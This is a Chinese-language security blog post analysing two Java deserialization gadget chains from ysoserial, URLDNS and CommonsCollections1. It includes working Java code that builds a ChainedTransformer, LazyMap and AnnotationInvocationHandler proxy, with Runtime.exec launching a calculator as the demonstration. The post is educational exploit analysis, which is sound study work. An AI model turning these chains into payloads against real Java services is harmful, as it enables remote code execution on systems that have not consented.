白袍的小行星

Java反序列化利用链分析(一)

字数统计: 2k阅读时长: 8 min
2021/06/03 Share

URLDNS

之所以先从这条利用链开始,因为它足够简单,cc链比较难理解,以后再看。
ysoserial中给出了利用链:

Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

URLDNS这条链比较特殊,因为它不能执行命令,只能进行DNS请求,所以它可以用来验证是否存在反序列化漏洞,同时它不需要其他的依赖,对环境要求更宽松。
先来看HashMap.readObject()
202106021007554KnQsV
使用了putVal()此方法是往HashMap里放入键值对的操作,里面还套了个hash(),跟进:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

调用了hashCode(),这里的key是一个java.net.URL对象,跟进到方法中:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

判断了hashCode是否为-1,如果是就会调用hashCode,这里的handlerURLStreamHandler对象,跟进:
2021060211084353KDrf
其中的getHostAddress方法就是进行DNS查询的地方了。

整体的流程如下:

  • HashMap->readObject()
  • HashMap->hash()
  • URL->hashCode()
  • URLStreamHandler->hashCode()
  • URLStreamHandler->getHostAddress()

我们来看看ysoserial是怎么生成payload的,首先是getObject方法:

public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}

这里有一个细节,可以看到第一步是使用了SilentURLStreamHandler类进行实例化,其代码如下:

static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

SilentURLStreamHandler类继承了URLStreamHandler类并重写了两个方法,第一个方法openConnection会打开一个连接,重写时返回null,这就避免了在生成payload阶段产生一次DNS查询。

之后实例化了一个HashMapURL对象,再调用了HashMap.put方法,实际上也就是把URL对象作为key放入了HashMap中。

最后,利用自写的反射类,修改了hashCode属性的值为-1,那么在反序列化时就会重新计算hashCode,也就会触发之后的DNS请求操作。

CommonsCollections1

还是得面对这条链,所需依赖:commons-collections:3.1
调用链:

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

我们从最后看起,最终目的是调用Runtime.exec(),通过反射的方式进行,在此之前有一个InvokerTransformer.transform(),来看看是何方神圣。
org.apache.commons.collections.functors.InvokerTransformer中,有一个transform方法:

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
......
}

通过此方法可以进行任意类方法的调用,来个例子:

import org.apache.commons.collections.functors.InvokerTransformer;
public class main {
public static void main(String[] argv) {
try
{
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
catch (Exception e){
}
}
}

20210518105948dYvjGE

寻找此方法的调用,找到了ChainedTransformer类,其中的transform方法如下:

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

这里迭代iTransformers并调用了transform方法,那就可以传入一个由多个InvokerTransformer组成的ChainedTransformer对象,来实现逐个调用。
第一个InvokerTransformer对象:

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})

获取getMethod方法,其参数为getRuntime

第二个InvokerTransformer对象:

new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]})

获取invoke方法

第三个InvokerTransformer对象:

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})

获取exec方法,参数为open -na Calculator
运行时变量结构如下:
20210518133400GYvy4V

但这个还没法执行命令,因为目前还没有得到Class对象。经过寻找,可以发现有一个ConstantTransformer类,其中也有transform方法:

public Object transform(Object input) {
return iConstant;
}

iConstant是这个类在构造时传入的参数,也就是ConstantTransformer类的transform方法作用是不论传入什么参数,都返回构造时传入的那个参数。那么我们只需要给它传入Class对象即可,完整代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class main {
public static void main(String[] argv) {
try
{
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
});
chainedTransformer.transform(1);
}
catch (Exception e){
}
}
}

20210518134445z6aOYH

现在已经拼好了底端的一块,接着寻找调用,可以找到两个类还调用了transform方法,分别是LazyMapTransformedMap.
前者是ysoserial里使用的,来看它。调用的位置在其中的get方法里:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

调用的条件是map里不存在这个key,factory是在构造方法里被赋值的:

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

那么我们就将ChainedTransformer作为LazyMap的factory传入,再调用get方法,传入一个不存在的key,就能达到命令执行的目的。

但是,从什么地方传入呢?我们现在需要一个反序列化的入口,这就要求它得实现java.io.Serializable接口,并且重写readObject方法。
sun.reflect.annotation.AnnotationInvocationHandler就符合这个条件,它在rt.jar中,里面有一个invoke方法:
20210518153228cygDOr
这里有一个Map对象的get()调用,刚好满足我们的需求,只用在构造时传入LazyMap对象。AnnotationInvocationHandler还实现了InvocationHandler接口,它实际上是一个代理类,那么调用目标的任何方法时,它的invoke方法就会执行,所以我们需要将它作为代理类,将Map对象作为目标对象,进行动态代理。
因为这里已经实现了相关接口,并且也重写了invoke方法,所以在利用时实例化Proxy对象,并在调用newProxyInstance时传入相关参数即可。
实现代码如下:

Map newMap = new HashMap();
Map lazyMap = LazyMap.decorate(newMap, chainedTransformer);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
Map evilMap = (Map) Proxy.newProxyInstance(newMap.getClass().getClassLoader(), newMap.getClass().getInterfaces(), invocationHandler);

上面省略了一些代码,所以简单说一下。
前面两行实际就是一个转换,后面获取了AnnotationInvocationHandler类的构造方法,因为该方法为私有,所以修改权限以便之后能使用。
再之后调用了构造方法,它有两个参数:Class<? extends Annotation> var1Map<String, Object> var2,前者继承Annotation,那么所有继承了此接口的都可以用来当参数,如RetentionOverride;后者自然就传入我们之前构造好的Map对象。
再之后使用了ProxynewProxyInstance方法进行代理,传入的就是相应的加载器、接口,以及InvocationHandler.

接下来看反序列化的入口readObject方法:
20210519140633l7At0C
这里调用了entrySet方法,也就满足了触发代理类的invoke方法的条件,由此所有的链条已经连接完成。

TransformedMap这条路则使用了AnnotationInvocationHandlerreadObject方法中调用的setValue方法:
20210602155912XHNW5Z
要调用此方法,var7的值不能为null,也就是有两个条件:

  • AnnotationInvocationHandler类的构造方法的第一个参数除了之前说的之外,这个类还必须至少有一个方法
  • TransformedMap.docorate所修饰的Map中必须有一个键名与上面那个类的一个方法同名

其余部分跟LazyMap区别不大,所以不继续分析了。

不论是LazyMap还是TransformedMap,都无法解决此链在高版本JDK中无法利用的问题,因为在8u71之后的版本,官方已经修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法:jdk8u/jdk8u/jdk: f8a528d0379d
这里不再对我们传入的Map对象直接进行操作,而是改为了LinkedHashMap对象:
202106021555429YmhoL

参考文章

主要参考了phith0n师傅的Java安全漫谈系列。

CATALOG
  1. 1. URLDNS
  2. 2. CommonsCollections1
  3. 3. 参考文章